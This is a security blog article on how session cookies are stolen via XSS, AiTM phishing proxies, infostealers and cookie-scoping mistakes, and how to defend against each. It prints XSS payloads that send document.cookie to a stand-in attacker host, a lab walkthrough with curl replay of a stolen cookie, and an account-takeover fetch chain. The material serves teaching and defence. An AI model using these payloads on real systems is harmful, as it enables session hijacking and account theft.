TechEarl

How Attackers Steal Session Cookies via XSS (and Why HttpOnly Is Not Enough in 2026)

Ishan Karunaratne⏱️ 15 min readUpdated
Share thisCopied
Cookie theft chain via cross-site scripting

"How do attackers steal session cookies?" is one of those questions whose textbook answer (cross-site scripting reads document.cookie, attacker replays the value, game over) has been mostly true for twenty years and is increasingly the wrong story to tell in 2026. The mechanism still works on legacy applications that ship session cookies without the HttpOnly flag, but the dominant session-theft routes I see in real incident reports do not look like that at all. They are adversary-in-the-middle phishing proxies that capture the cookie in flight after the user completes MFA, and commodity infostealer malware that walks the browser's on-disk cookie store and sells the result on a marketplace. Both treat HttpOnly as a non-event.

This article is the focused variant under the cross-site scripting deep dive. I cover the classical XSS-to-document.cookie chain end to end with a working reproducer, walk the exact HttpOnly defence, then turn around and explain the modern routes that sidestep it entirely. The end goal is the same: do not let an attacker walk into your application wearing your user's session.

In short: how session cookies actually get stolen in 2026

There are four practical routes to a stolen session cookie today. First, classical XSS reads document.cookie and exfiltrates it via an image beacon or fetch. HttpOnly closes this path completely. Second, adversary-in-the-middle (AiTM) phishing proxies sit in front of the real login page, forward bytes to the user, capture the post-MFA Set-Cookie header on its way back, and hand the cookie to the attacker. HttpOnly is irrelevant because the proxy is outside the browser. Third, infostealer malware reads the browser's cookie database off disk, decrypts it via the OS keystore, and uploads it to a criminal marketplace where buyers import it into an anti-detect browser. HttpOnly is a browser-internal flag and means nothing on the filesystem. Fourth, scoping mistakes (a session cookie set with Domain=example.com and a compromised subdomain) leak the cookie laterally. The defence is a stack: HttpOnly plus Secure plus SameSite plus phishing-resistant MFA plus short TTL plus session binding plus detection on impossible-travel and UA-flip.

The textbook chain: XSS to document.cookie

The classical four-step chain has not changed since the early 2000s. Land an XSS payload (reflected, stored, or DOM) in the victim's browser; read the session cookie from document.cookie; exfiltrate it to an attacker-controlled host; replay it from a fresh browser or curl. The full mechanics of the three XSS variants live in the cross-site scripting deep dive; this article assumes you have the foothold and focuses on what happens after.

Three exfil primitives, all working in 2026:

html
<!-- Image beacon. Oldest, most reliable, no CORS concerns. -->
<script>new Image().src='https://attacker.tld/c?'+encodeURIComponent(document.cookie)</script>

<!-- sendBeacon. Survives page unload, fires async, designed for telemetry. -->
<script>navigator.sendBeacon('https://attacker.tld/c', document.cookie)</script>

<!-- fetch with keepalive. Survives navigation, full HTTP semantics, attacker controls CORS. -->
<script>fetch('https://attacker.tld/c', {method:'POST', body:document.cookie, keepalive:true, mode:'no-cors'})</script>

End to end against the xss-basic lab (the companion lab repo):

  1. Start a listener on the host: python3 -m http.server 9000 in any scratch directory.
  2. Sign in to the lab as alice (alice123) at http://localhost:8081/login.php.
  3. Open http://localhost:8081/guestbook.php and post the comment body:
    html
    <script>new Image().src='http://localhost:9000/c?'+document.cookie</script>
  4. Sign out. Sign in as admin (admin123) and load http://localhost:8081/admin.php. The admin's browser renders the stored comment, the script fires inside the admin's session, and the listener receives a GET whose query string contains session_id=<admin's value>.
  5. Replay it from a fresh browser, or:
    bash
    curl -b 'session_id=<stolen-value>' http://localhost:8081/admin.php

The admin dashboard renders. The hijack is complete.

The textbook defence is the HttpOnly attribute on the Set-Cookie response header. With HttpOnly set, document.cookie from JavaScript returns an empty string for that cookie, even though the browser still attaches it to every same-origin HTTP request. Verify in the lab by patching public/shared/auth.php to set the cookie with HttpOnly:

php
setcookie('session_id', $value, [
    'expires'  => time() + 3600,
    'path'     => '/',
    'httponly' => true,
    'secure'   => true,
    'samesite' => 'Lax',
]);

Then re-run the chain. The XSS payload fires, document.cookie returns "", the listener receives an empty query string. The classical exfil path is closed. HttpOnly was shipped in Internet Explorer 6 SP1 in 2002 and is supported in every browser since; details at OWASP's HttpOnly page. There is no excuse for shipping a session cookie without it.

Why HttpOnly is not enough

HttpOnly blocks the step "JavaScript reads the cookie value". It does not block the step "JavaScript makes authenticated requests as the user", because the browser still attaches the HttpOnly cookie to every same-origin request the script triggers. An XSS payload with HttpOnly in the way can still do this:

javascript
// Cookie is unreadable, but the browser attaches it on its own:
fetch('/api/account/email', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({email: 'attacker@evil.tld'})
}).then(() => fetch('/api/account/password', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({password: 'pwned-by-the-bug'})
}));

The session never leaves the browser, but the account does. Change the recovery email, change the password, drain the wallet, close the page. From the application's logs every request came from the legitimate user's session. CSRF tokens do not help here either: the same XSS that triggers the request can read the CSRF token straight out of the DOM and attach it. HttpOnly is a token-theft defence, not an authenticated-request-forgery defence. The "XSS is just an info-disclosure bug" framing dies here.

This is also why the rest of the article matters. Even on apps that get HttpOnly perfectly right, session theft is a real and growing problem because the dominant routes do not require XSS at all.

AiTM (adversary-in-the-middle) phishing proxies

The dominant session-theft route in 2025 and 2026 is AiTM phishing. The attacker stands up a reverse proxy on a lookalike domain (login-microsft365.com, accounts-google.security, okta-sso-portal.com), sends the victim a phishing email pointing at it, and the victim sees the genuine login page because the proxy is fetching the real bytes from the real provider and forwarding them. The victim types their password into what looks exactly like the real form. Then the MFA prompt appears (also real, also proxied). The victim approves it. The provider's Set-Cookie: ESTSAUTH=...; HttpOnly; Secure; SameSite=Lax response flows back through the proxy on its way to the victim's browser, and the proxy captures it in flight.

The attacker now imports the captured cookie into a fresh browser profile and is logged in as the victim, with a fully MFA-validated session. HttpOnly is irrelevant: the attacker never needed JavaScript inside the browser. Secure is irrelevant: the proxy is the TLS endpoint the victim's browser is talking to. SameSite is irrelevant: every request the proxy makes to the real provider is a same-site request from its own perspective.

The canonical open-source toolkit is Evilginx2. It ships with "phishlets" (YAML configs) for hundreds of services and handles certificate provisioning, cookie capture, and session import out of the box. Modlishka and Muraena are equivalents. CTI reporting through 2024 and 2025 (Microsoft Threat Intelligence, Mandiant, Proofpoint) shows AiTM-derived business-email-compromise as the primary path into Microsoft 365 tenants, ahead of password spraying and ahead of classical phishing for credentials alone.

The one defence that actually works against AiTM is phishing-resistant MFA: FIDO2 security keys, platform passkeys, or WebAuthn. The cryptographic challenge in WebAuthn is bound to the origin the browser sees, not the origin the user thinks they are on. A passkey registered to login.microsoftonline.com will refuse to sign a challenge from login-microsft365.com, because the relying party identifier baked into the credential does not match. The proxy cannot relay the response; the cryptography refuses to cooperate. This is why Microsoft, Google, Cloudflare, and Apple have spent the last three years pushing passkeys hard for consumer accounts and hardware keys for admin accounts.

Push-based MFA (Microsoft Authenticator approve-prompt), SMS codes, and TOTP do not stop AiTM. They are MFA against password reuse and credential stuffing; they are not MFA against a live proxy. Number-matching push (the user types a number shown in the browser into the authenticator app) raises the bar slightly but does not close the gap, because the proxy can render whatever number it likes.

The second dominant route is infostealer malware. Off-the-shelf families (RedLine, Raccoon, Lumma, Vidar, StealC) ship as malware-as-a-service: a buyer pays a monthly subscription, the operator hands over a builder and a panel, and the buyer distributes the binary via cracked-software bundles, malvertising on Google search, fake browser-update prompts, and the "ClickFix" social-engineering pattern where the victim is told to paste a PowerShell command into Run because their browser "needs to be repaired".

Once installed, the stealer walks the browser's data directories on disk. For Chrome on Windows the cookie database lives at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies, a SQLite file. Values are encrypted with a key wrapped by DPAPI, which any process running as the user can unwrap. The stealer reads every cookie, decrypts in place, packages the result alongside saved passwords, browser autofill, crypto-wallet files, and a system fingerprint, then uploads the whole bundle ("the log") to the operator's C2. HttpOnly is a flag in the SQLite row; the malware ignores it. Secure is a flag in the SQLite row; the malware ignores it. The session token sits there in plaintext after decryption.

The logs flow into criminal marketplaces. Genesis Market was the largest until an international law-enforcement operation took it down in April 2023. Russian Market, 2easy, and a long tail of Telegram-based brokers absorbed the volume; the market did not shrink, it fragmented. Logs are sold cheaply (often a few dollars per victim) and bundled by target service: a buyer searching for "okta.com" or "microsoftonline.com" sessions can find them in minutes.

The buyer imports the cookie set into an anti-detect browser (Linken Sphere, Genesium, Multilogin) that replays the victim's User-Agent, canvas fingerprint, WebGL fingerprint, timezone, and screen resolution alongside the cookies. From the application's perspective the request is indistinguishable from the victim's normal traffic. Server-side device-fingerprinting defences are the cat in this game and the marketplaces are the mouse.

Chrome's defensive response is App-Bound Encryption (ABE), shipped in Chrome 127 in July 2024. On Windows, ABE binds cookie encryption to Chrome's process identity, so a stealer running as the user (but not as Chrome) cannot unwrap the key via DPAPI alone. The bar went up. Infostealer authors broke it within months by injecting into Chrome's process, reusing Chrome's own COM elevation service, or capturing the decrypted blob from memory before it hits disk; CTI write-ups through late 2024 and 2025 document the bypasses in detail. ABE is meaningful: it forces the stealer to do more work, lose some commodity infections, and produce more telemetry. It is not the end of the problem.

A session cookie's Domain attribute controls which subdomains receive it. If the main app at app.example.com sets:

code
Set-Cookie: session=...; Domain=example.com; HttpOnly; Secure; SameSite=Lax; Path=/

then every subdomain receives that cookie on every request: app.example.com, marketing.example.com, blog.example.com, status.example.com, careers.example.com. Now imagine marketing.example.com is an outside-agency WordPress install running an unmaintained theme. An XSS in that WordPress reads the cookie set for example.com and the attacker is in the main application. Same family of mistake: a forgotten status.example.com running an old version of a status-page product with a stored XSS; a legacy.example.com reverse-proxying to a service that does not exist anymore but still answers requests.

The right default for a session cookie is host-only: omit the Domain attribute entirely. The cookie is then scoped to the exact host that set it, with no subdomain leakage:

code
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/

No Domain line. The cookie travels to app.example.com and only app.example.com. If you genuinely need a cookie across subdomains (a federated-login flow that crosses two services), scope it tightly to the smallest subdomain set that needs it and audit every host underneath. The Path attribute does not provide isolation; it is advisory at best and trivially bypassed by any in-origin script, and provides no cross-subdomain protection at all.

The full defence stack on the server side

The cookie shape that should ship for every session, every time:

code
Set-Cookie: session=...;
  HttpOnly;
  Secure;
  SameSite=Lax;
  Path=/;
  Max-Age=3600

That is the minimum. Around it:

  • HTTPS-only with HSTS preload (Strict-Transport-Security: max-age=63072000; includeSubDomains; preload). Forces the browser to refuse the plain-HTTP downgrade across the registered domain, including subdomains. Catches the same family of mistakes that the host-only cookie scoping above catches, one layer up.
  • Content-Security-Policy that blocks inline scripts and pins outbound connect-src. A strict CSP with a nonce-gated script-src and a tight connect-src allow-list turns a working XSS into a console warning, which closes the classical exfil chain even when the cookie does not have HttpOnly for some legacy reason. See the CSP section in the XSS deep dive.
  • Phishing-resistant MFA (FIDO2 / passkeys / WebAuthn) on every account that matters. Push, TOTP, and SMS are MFA against password reuse, not MFA against AiTM. Move admins and operators first; consumers can follow.
  • Session rotation on every privilege change. New session ID on login, on password change, on MFA change, on permission elevation. Catches session fixation by construction and limits the window an old captured cookie is useful for.
  • Short access-token TTL with sliding refresh behind a refresh token that is bound (DPoP, mTLS, or device-bound via the WebAuthn credential where the platform supports it). A 60-minute access cookie that refreshes only when the device proves it still holds the binding key turns a stolen cookie into a one-hour problem instead of a one-year problem.
  • Session binding to client signal where the trade-offs allow it. IP-class (/24 or ASN), TLS JA4 fingerprint, and User-Agent class are all candidates. Pure IP binding breaks on mobile networks and corporate proxies, so most production stacks I see bind to "ASN class plus User-Agent family" and tolerate movement within that envelope. Hard binding to a single IP is too fragile to deploy on consumer traffic.
  • Detection on impossible-travel, UA-flip, and new-ASN. A session that signed in from a Chrome-on-macOS in Sydney and is now serving requests as Firefox-on-Linux out of an Amsterdam VPS exit five minutes later is a stolen session. Flag it, prompt for re-auth, kill the session if the user denies.
  • Kill all sessions on password reset. Industry-standard, still skipped surprisingly often. A stolen cookie should not survive the victim noticing and changing their password.

What about CSRF and session fixation

Worth a paragraph for the boundary, because both come up in the same conversation as "session theft" and both are different problems.

CSRF is not cookie theft. The attacker never gets the cookie value. The attacker tricks the victim's browser into sending a state-changing request to the application, and the browser attaches the cookie automatically because that is what browsers do. The defence is SameSite=Lax (Chrome started rolling it out as the default in Chrome 80 in February 2020, paused the rollout in April 2020 because of COVID-19, and finished landing it as the default in Chrome 84 in July 2020) plus an explicit anti-CSRF token on state-changing endpoints. XSS bypasses both of those defences from inside the page, which is why XSS is the more serious bug.

Session fixation is the attacker setting a known session ID on the victim's browser before login (via a URL parameter, a cookie set from a related domain, or a misconfigured login flow) and then reusing that ID after the victim authenticates. The defence is one line: rotate the session ID on every successful login. Most modern frameworks do this by default; verify yours does and that any custom auth code preserves the invariant.

Both are real classes and worth a separate article each. Neither is what this article is about.

Where to go next

The closest neighbour to this article is the parent spoke, the cross-site scripting deep dive, which covers the three XSS variants (reflected, stored, DOM) and the modern defences (CSP, Trusted Types, DOMPurify) that prevent the XSS foothold in the first place. If the XSS layer holds, the rest of this article matters less.

For the tooling side of the same workflow, the best XSS tools for 2026 listicle covers the scanners, sanitisers, and offensive tooling I actually keep installed (DOMPurify, OWASP ZAP, XSStrike, BeEF, manual workflow).

The natural cross-cluster pairing for this article is cross-site request forgery: XSS lets the attacker steal the cookie; CSRF lets the attacker use the cookie they did not steal. Same threat model (an authenticated state-changing action the victim never intended), different attacker capability, different defences. Clickjacking is the third leg of that triangle: the attacker steals the click, not the cookie. Reading the three together gives you the full session-trust picture.

For the wider map, back up to the web application security vulnerabilities taxonomy and the sister deep dive on SQL injection, which is the closest analogue at the database layer: same code-and-data confusion shape, different interpreter, same family of defences.

Sources

Authoritative references this article was fact-checked against.

Tagsxsssession-hijackingcookie-thefthttponlyevilginxinfostealer

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts